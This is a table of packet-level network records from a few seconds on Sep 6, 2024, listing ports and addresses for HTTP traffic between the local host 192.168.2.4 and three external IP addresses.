Sep 6, 2024 08:17:06.953180075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.953185081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.953185081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.953202009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.953243971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.953243971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.953243971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.978735924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978743076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978754997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978806019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978811979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978817940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978822947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978828907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.978852034 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.978852034 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.978897095 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.979551077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979629993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979635000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979645967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979651928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979676962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979684114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979710102 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.979728937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.979736090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.979955912 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.980942965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.980962992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.980981112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981040955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.981071949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981080055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981086016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981091022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981125116 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.981148005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981170893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.981256962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.981354952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981359959 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981369972 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981408119 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.981430054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981436014 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981447935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981455088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981462002 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.981481075 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.981522083 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.981528044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981539965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981544971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981549978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981555939 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.981586933 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.981589079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981589079 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.981596947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981602907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.981617928 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.981674910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.989068031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989165068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989170074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989181042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989187002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989192963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989204884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989209890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989219904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989219904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989257097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989264011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989269972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989269972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989269972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989346027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989351988 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989358902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989362955 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989365101 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989404917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989404917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989669085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989681005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989701986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989792109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989798069 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989814043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989821911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989825010 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989825964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989864111 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989891052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989897013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989908934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989914894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989958048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989964008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989975929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989979982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.989988089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.989988089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990000963 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990103960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990130901 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990195990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990200996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990211964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990217924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990238905 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990263939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990268946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990281105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990287066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990305901 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990305901 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990330935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990350008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990358114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990362883 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990371943 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990430117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990438938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.990463018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990564108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990571022 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990581989 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990605116 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.990628958 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990634918 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990641117 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990664005 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.990674019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990679026 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.990704060 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.991302967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991308928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991318941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991333961 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.991396904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991409063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991415977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991421938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991426945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991441965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991460085 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991496086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991502047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991508007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991513014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991518974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991528988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991528988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991532087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991564989 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991590023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991596937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991627932 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991661072 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.991723061 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.991729021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.991733074 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991743088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.991748095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.991774082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.991774082 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.991780043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.991796970 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.991825104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991832018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991843939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991849899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991858006 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.991925955 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991930962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991944075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991949081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991959095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.991969109 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991969109 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.991981030 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992038012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992043972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992049932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992054939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992060900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992068052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992073059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992088079 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992263079 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992264986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992367983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992372990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992377996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992383003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992388010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992394924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992399931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992417097 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992417097 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992474079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992522955 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992523909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992528915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992561102 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992580891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992587090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992614031 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992635965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992641926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992652893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992676020 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992770910 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992777109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992794037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992799044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992805004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992825985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992825985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992825985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992892027 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992902040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992908001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992918015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992943048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992949009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992954016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.992973089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.992995977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993001938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993011951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993041039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993046999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993051052 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.993076086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.993213892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.993540049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993575096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993578911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993640900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993647099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993654966 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.993659973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993664980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993680954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.993684053 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.993711948 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.993711948 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.993767977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.995677948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995723009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995728970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995785952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995790958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995801926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995807886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995814085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995816946 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.995856047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995860100 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.995860100 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.995862961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995870113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995874882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995893955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995912075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.995951891 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.995986938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.995994091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996004105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996058941 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996071100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996077061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996088028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996110916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996115923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996121883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996131897 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996169090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996169090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996177912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996229887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996244907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996248960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996249914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996300936 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996300936 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996329069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996335030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996340036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996344090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996372938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996377945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996390104 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996397018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996403933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996403933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996436119 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996436119 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996470928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996478081 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996498108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996504068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996520996 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996572971 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.996903896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996910095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996922970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.996927977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997001886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997008085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997014999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997018099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997030973 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997056007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997056007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997282028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997286081 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997396946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997404099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997414112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997419119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997426987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997437954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997443914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997450113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997452974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.997467995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.997490883 CEST	80	49734	176.113.115.33	192.168.2.4
